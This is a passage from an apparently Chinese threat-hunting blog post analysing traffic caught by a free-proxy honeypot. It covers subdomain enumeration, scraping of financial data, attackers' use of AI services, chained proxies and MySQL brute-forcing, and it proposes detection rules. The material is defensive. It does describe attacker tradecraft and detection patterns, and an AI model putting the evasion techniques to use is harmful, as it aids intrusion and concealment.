SNI，sample_targets 几乎全是 360.cn、huawei.com、ucloud.cn 的子域，而且子域前缀是随机字符串（sabhlsxzkmfkdrip.ucloud.cn、huyumesciruqwdo.360.cn……）——这是标准的 CDN / WAF 侧面枚举（subdomain enumeration），通过 DNS Wildcard 命中和随机子域探测来反推 CDN 背后真实 IP 的一种手段。64.94.95.226、109.238.10.141 的模式完全相同，说明不是孤例。</span></span></p><h2 style="mso-style-parent: &#39;&#39;;margin-top: 14.0pt;margin-bottom: 7.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 2;font-size: 14.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #2E5D8C;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">6.3 针对国内金融/证券/虚拟货币</span></span></h2><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.2984423676012461" style="width:580.010009765625px;height:173.0px;" data-w="1605" src="https://wechat2rss.xlab.app/img-proxy/?k=bfbb68e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FTAFC5BLa6G0xzCVBlga7UY1oDlIMWGLAzfR4RsjWpO4icTXHWdgnD5DsGoBtwLvgITk6AAD0ibiaRAKJwm6h21vrNz8b2IHvAtLSetwm5TrJ48%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：SNI 命中 eastmoney/10jqka/jrj/cninfo/sse/szse/chinabond/citics 等金融域</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">quote.eastmoney.com、push2his.eastmoney.com、push2.eastmoney.com、40.push2.eastmoney.com、40.push2delay.eastmoney.com——这几个都是东方财富网的实时行情 WebSocket/推送接口。攻击者通过我们的代理在高频拉取这些接口数据。basic.10jqka.com.cn 是同花顺的数据接口。这些目标组合在一起，指向的用途很明确：行情数据 scraping，喂给量化策略或者做信息套利。这类行为在法律上有争议，但从威胁情报角度看是&#34;低烈度但高频率&#34;的对国内金融业的数据抓取压力。</span></span></p><h1 style="mso-style-parent: &#39;&#39;;margin-top: 18.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 1;font-size: 18.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #1F3864;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">七、综合分析：出海黑产的日常画像</span></span></h1><h2 style="mso-style-parent: &#39;&#39;;margin-top: 14.0pt;margin-bottom: 7.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 2;font-size: 14.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #2E5D8C;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">7.1 反向出网：代理不是去外网，是&#34;回国内人出海&#34;</span></span><o:page></o:page></h2><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.6157697121401752" style="width:560.010009765625px;height:345.010009765625px;" data-w="1598" src="https://wechat2rss.xlab.app/img-proxy/?k=a5731287&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FTAFC5BLa6G0ZmgucsvBnajRVS6ujhzy0ClvXd2ibSls74bVfzI7L8xxUyvBR7eXeiayXia1yUAZ4mS5b7dojHdcYxMJvgq4qUX0paAu5Pom8Fg%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：SNI 命中 Google、Facebook、Instagram、YouTube、Twitter、Telegram、Discord、Whatsapp、Reddit 等</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">一个常被忽略的观察：把流量 SNI 限定为被墙的主流境外服务，会发现这部分流量的量级非常大——i.instagram.com 7.5 万次、www.instagram.com 7.4 万次、www.google.com 4 万次、chromewebstore.google.com 1.3 万次、youtube.com 超过 18GB 下行。这些流量不是&#34;攻击&#34;，但它们的使用者很大概率是国内用户在用我们的代理去&#34;反向出网&#34;。</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">另外几个 SNI 也很有意思：cabinet.aironeox.com、api.galaxy.orionx.com、developer.x.com、query-x.com——这些是加密货币交易所和 X 开发者平台的 API，上下行都以 GB 为单位，属于 API 密集型调用，可能是在自动化交易或者在做 X API 抓推文。</span></span></p><h2 style="mso-style-parent: &#39;&#39;;margin-top: 14.0pt;margin-bottom: 7.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 2;font-size: 14.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #2E5D8C;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">7.2 AI 服务访问：新一代生产工具已经进入黑产工具链</span></span><o:page></o:page></h2><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.35173697270471466" style="width:580.010009765625px;height:204.0px;" data-w="1612" src="https://wechat2rss.xlab.app/img-proxy/?k=ed4edf62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTAFC5BLa6G24ngd7FDwMQCicEYRRkg3TxfKVjIqyUr7tG9OBTVIMRQEZElsrlzyQcpP7xHFOW26I8U96ohPjdNBnicTQ5hQ3EhjbCIicdS8vfQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：对 OpenAI / Anthropic / Google AI / Perplexity / HuggingFace 相关域的访问排行</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">这一张图值得单独拎出来讲。五天之内，通过我们代理访问 chatgpt.com 的次数 14,856 次，上下行合计 6.22GB；ws.chatgpt.com（WebSocket）4,591 次、2.62GB；claude.ai 2,842 次、1.67GB；gemini.google.com 1,825 次。这个数据透露出三件事：</span></span></p><p style="mso-style-parent: &#39;&#39;;text-align: left;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l0 level1 lfo2;margin-top: 2.0pt;margin-bottom: 2.0pt;margin-left: 36.0pt;text-indent: -18.0pt;line-height: 142%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">•</span></span><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">AI 服务已经深度嵌入黑灰产工作流——不只是 API，连 web 端的 chatgpt.com 都在被高频使用，说明这是&#34;人在操作&#34;而不是纯自动化。</span></span></p><p style="mso-style-parent: &#39;&#39;;text-align: left;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l0 level1 lfo2;margin-top: 2.0pt;margin-bottom: 2.0pt;margin-left: 36.0pt;text-indent: -18.0pt;line-height: 142%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">•</span></span><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">大量访问走的是 web 版而不是 API 版——这多半是因为被封号后换号成本低，或者他们本身就没有付费账号，在用免费层。</span></span></p><p style="mso-style-parent: &#39;&#39;;text-align: left;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;font-weight: normal;mso-bidi-font-weight: normal;mso-list: l0 level1 lfo2;margin-top: 2.0pt;margin-bottom: 2.0pt;margin-left: 36.0pt;text-indent: -18.0pt;line-height: 142%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">•</span></span><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">能在代理里看到 AI 请求本身，也意味着攻击者&#34;自己被看&#34;。以后安全团队完全可以通过这类数据反向刻画攻击者的工作习惯（生成时间、提问频率、在哪些任务上用 AI）。</span></span></p><h2 style="mso-style-parent: &#39;&#39;;margin-top: 14.0pt;margin-bottom: 7.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 2;font-size: 14.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #2E5D8C;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">7.3 代码托管与开发工具</span></span></h2><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.3396337861783816" style="width:580.010009765625px;height:197.0px;" data-w="1693" src="https://wechat2rss.xlab.app/img-proxy/?k=6faec0ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTAFC5BLa6G32KIEgDdxs35DbQtUKasqicC6PTQTickUTgeHVEOMEsopzzmPYJkB5jlmqGzUCiao2fBso5AtNleCfTVGbZqpZox7EbnbYhHHezw%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：SNI 命中 github / gitlab / bitbucket / docker / npm / pypi / stackoverflow</span></span><o:page></o:page></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">github.com 192 次、15 个独立 IP，api.github.com 22 次，raw.githubusercontent.com 20 次——量不大，但 raw 内容请求这个动作特别值得关注，因为它通常对应&#34;从 GitHub 拉取恶意脚本 / 配置文件&#34;的行为（比如 raw.githubusercontent.com/xxx/xxx/main/config.json 这种路径在 Stealer、挖矿脚本里非常常见）。release-assets.githubusercontent.com 出现 3 次，对应的是直接下载 GitHub Release 产物——攻击者从 GitHub 上拉打包好的恶意工具。</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">stackoverflow 出现 11 次——纯靠这个数据说不了什么，但可以看出攻击者确实会在操作过程中搜问题；配合前面的 AI 访问数据，能拼出一个&#34;用户在工作时开着 ChatGPT 和 Stack Overflow&#34;的画像。</span></span></p><h2 style="mso-style-parent: &#39;&#39;;margin-top: 14.0pt;margin-bottom: 7.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 2;font-size: 14.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #2E5D8C;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">7.4 多级代理：代理里面还是代理</span></span></h2><p style="margin-top:6.0pt;margin-bottom:6.0pt;text-align:center;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.5102420856610801" style="width:560.010009765625px;height:286.0px;" data-w="1611" src="https://wechat2rss.xlab.app/img-proxy/?k=7ab88a6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FTAFC5BLa6G0UnreaiaPlnFLGfoW5ibavf2icYNib1L6xTGlIPnuC1c8GENod0CrDVwMttbAZuvRk4qzYuXic75Diby3MVxibHJMEJKnnpQHnLYrq08%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom:12.0pt;text-align:center;"><span style="font-size:9.0pt;mso-bidi-font-size:9.0pt;font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;color:#666666;font-style:italic;mso-bidi-font-style:italic;"><span leaf="">图：CONNECT 目标端口是常见代理端口（1080/8080/3128/8443/9050/10808…）的情况</span></span></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">这张图能清楚看到&#34;多层代理&#34;这件事。我们自己的节点（80.75.212.63 等）向 92.242.166.215:8080 发起了几十万次 CONNECT——也就是说，有人把我们的蜜罐接进了一个代理池，然后把我们当作中转再转发到下一跳 92.242.166.215:8080。93.123.85.39 通过我们打到 [::ffff:45.13.239.151]:8080——IPv4-mapped IPv6 地址说明上游客户端是一个支持双栈的 Go 程序。54.37.252.234 就是前面讲过的 MySQL 暴破专业户，这里又出现在 8080、3128、1080 上——它的流量链是&#34;攻击者 → 自己租的 VPS（54.37.252.234）→ 免费代理（我们的蜜罐）→ 一批 8080 代理 → 真正的 3306 目标&#34;。攻击者至少做了 4 跳代理来混淆。</span></span><o:page></o:page></p><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">这个对威胁狩猎非常重要：当你在自己网段的日志里看到一个海外 IP 访问你的 MySQL，实际的攻击者可能在 4 跳代理之外；常规的 IP 黑名单几乎没用，真正有效的是行为特征（同样的登录序列、同样的工具指纹、同样的节奏）。</span></span></p><h1 style="mso-style-parent: &#39;&#39;;margin-top: 18.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 1;font-size: 18.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #1F3864;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">八、从威胁狩猎视角做一次总结</span></span></h1><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">如果把上面这些观察折叠到威胁狩猎（Threat Hunting）的语境里，大致能抽出下面这些可落地的 Hunting 思路。每一条都可以在企业日志里写成对应的检测规则。</span></span></p><h3 style="mso-style-parent: &#39;&#39;;margin-top: 11.0pt;margin-bottom: 6.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 3;font-size: 12.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #333333;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">（1）以&#34;代理行为&#34;本身作为 IOC</span></span></h3><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">传统 IOC 是 IP / 域名 / 文件哈希。但免费代理的 IP 几乎每小时都在变，用 IP 当 IOC 效率太低。更稳定的特征是&#34;代理行为&#34;：同一个 SIP 在短时间内触达大量不同的 dst Host、请求的 Host 和 TLS SNI 不一致、CONNECT 目标是常见代理端口（1080/8080/3128/10808）、User-Agent 是 Go-http-client 或 python-socks 但访问的是 Web 业务域。这些行为组合起来比单个 IOC 稳定得多。</span></span></p><h3 style="mso-style-parent: &#39;&#39;;margin-top: 11.0pt;margin-bottom: 6.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 3;font-size: 12.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #333333;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">（2）针对 WordPress 黑产的专项监控</span></span></h3><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">这个数据告诉我们，如果你的防御资产里有 WordPress 站，POST /wp-comments-post.php 这个接口长期会被大量 Gmail 账号刷。规则可以写成：同一 IP/UA 在 10 分钟内对 /wp-comments-post.php 的 POST 超过 3 次 → 直接返回 403 或者掉进 tar pit。更彻底的做法是把 wp-comments-post.php 直接换成一个其他路径，或者引入一个轻量 PoW。</span></span></p><h3 style="mso-style-parent: &#39;&#39;;margin-top: 11.0pt;margin-bottom: 6.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 3;font-size: 12.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #333333;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">（3）撞库特征：魔法数字 3</span></span></h3><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">绝大多数&#34;万能库&#34;验证的默认策略是每组 (user, pass) 重试 3 次。如果你在登录日志里看到同一个账号在不同 IP 上恰好失败 3 次就不再出现，这几乎 100% 是撞库检测的踪迹——账号密码已经进了某个库里，只是这轮没命中。运营侧可以据此推送&#34;强制改密&#34;。</span></span><o:page></o:page></p><h3 style="mso-style-parent: &#39;&#39;;margin-top: 11.0pt;margin-bottom: 6.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 3;font-size: 12.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #333333;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">（4）MySQL 公网暴露 = 头号风险</span></span></h3><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">在我们看到的所有数据库爆破里，3306 占绝对主力。任何把 MySQL 直接暴露在公网的业务系统，都应当假设其正在被至少一个黑产工具链瞄准。Hunting 规则：在公网接口上收 3306 的入向 SYN，配合 mysql_native_password 的 Handshake 特征做计数，短时间内超过阈值的源一定是自动化。</span></span></p><h3 style="mso-style-parent: &#39;&#39;;margin-top: 11.0pt;margin-bottom: 6.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 3;font-size: 12.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #333333;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">（5）CDN 后源 IP 的反查压力</span></span></h3><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">这次看到大量针对 *.huawei.com、*.ucloud.cn、*.360.cn 的随机子域枚举，说明大量 CDN/WAF 服务的&#34;绕过真实 IP&#34;对抗压力仍在增加。Hunting 规则：监控权威 DNS 的 NXDOMAIN 命中率，同一源短时间内大量 NXDOMAIN 通常就是子域爆破。</span></span></p><h3 style="mso-style-parent: &#39;&#39;;margin-top: 11.0pt;margin-bottom: 6.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 3;font-size: 12.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #333333;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">（6）金融行情类数据的 scraping</span></span></h3><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">东方财富、同花顺这类行情接口的高频抓取现状值得企业自查：WebSocket 连接从同一 IP 保持数十个以上，就已经不是正常用户行为了。</span></span></p><h3 style="mso-style-parent: &#39;&#39;;margin-top: 11.0pt;margin-bottom: 6.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 3;font-size: 12.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #333333;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">（7）通过代理行为反向画像攻击者</span></span></h3><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">最后一条，也是最有意思的一条：蜜罐记录的 AI 访问、GitHub 访问、Stack Overflow 访问，其实是在记录&#34;攻击者的工作生活&#34;。一个攻击者在早上 9 点开始登 ChatGPT、中午去 GitHub 下载工具、下午开始扫 MySQL、晚上跑撞库——这个时间轴本身就是一个极强的指纹。两个表面上完全无关的攻击活动，如果工作时间轴高度重合、用的 AI 帐号都是同一批、拉取的 Github Repo 都相同——基本可以判定是同一拨人。</span></span></p><h1 style="mso-style-parent: &#39;&#39;;margin-top: 18.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 1;font-size: 18.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #1F3864;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">九、后续可拓展方向</span></span></h1><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">项目现在跑了五天，已经有一些有意思的洞察，但数据体量和视角都还不够。后面能继续做的事情主要有以下几个方向。</span></span><o:page></o:page></p><h3 style="mso-style-parent: &#39;&#39;;margin-top: 11.0pt;margin-bottom: 6.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 3;font-size: 12.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #333333;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">9.1 节点与地理覆盖</span></span></h3><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">目前七个节点都在海外，缺少国内、缺少中东、缺少南美视角。如果能在合规的前提下把节点扩到 20+ 个地区，尤其是补齐东南亚、俄语区、中东，会看到一些目前看不到的攻击人群（比如俄语区黑产习惯走国内云服务，中东对中国制造企业的定向扫描）。</span></span></p><h3 style="mso-style-parent: &#39;&#39;;margin-top: 11.0pt;margin-bottom: 6.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 3;font-size: 12.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #333333;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">9.2 TLS 指纹与客户端识别</span></span></h3><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">当前只解析了 SNI，还没把 JA3/JA4 指纹做进去。接入 JA3/JA4 以后可以直接按指纹聚合&#34;同一个工具的所有 IP&#34;，对追踪工具链的归属非常有用。目前已经能看到 python-socks、Go-http-client 这样的粗粒度分类，如果能细到&#34;某个版本的 sqlmap&#34;、&#34;某个 fork 的 Nuclei&#34;，狩猎精度会上一个台阶。</span></span></p><h3 style="mso-style-parent: &#39;&#39;;margin-top: 11.0pt;margin-bottom: 6.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 3;font-size: 12.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #333333;mso-bidi-font-weight: bold;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-fareast-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">9.3 对请求体的主动注入实验</span></span></h3><p style="margin-top:3.0pt;margin-bottom:3.0pt;line-height:150%;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;font-variant:normal;text-transform:none;"><span leaf="">后台看板里已经有了 Injection 这个入口——如果把它用起来，可以做一件很有价值的事：对特定类别的出口请求（比如 MySQL 爆破流量、登录撞库流量）注入定制响应或者错误码，反过来观察攻击端的重试策略。这既能拿到工具指纹，也能把工具逼到异常分支把更多特征暴露出来。</span></span></p><h3 style="mso-style-parent: &#39;&#39;;margin-top: 11.0pt;margin-bottom: 6.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;mso-outline-level: 3;font-size: 12.0pt;font-family: 微软雅黑;mso-fareast-font-family: &#39;微软雅黑&#39;;mso-bidi-font-family: 微软雅黑;color: #333333;mso-bidi-font-weight: bold;"><span 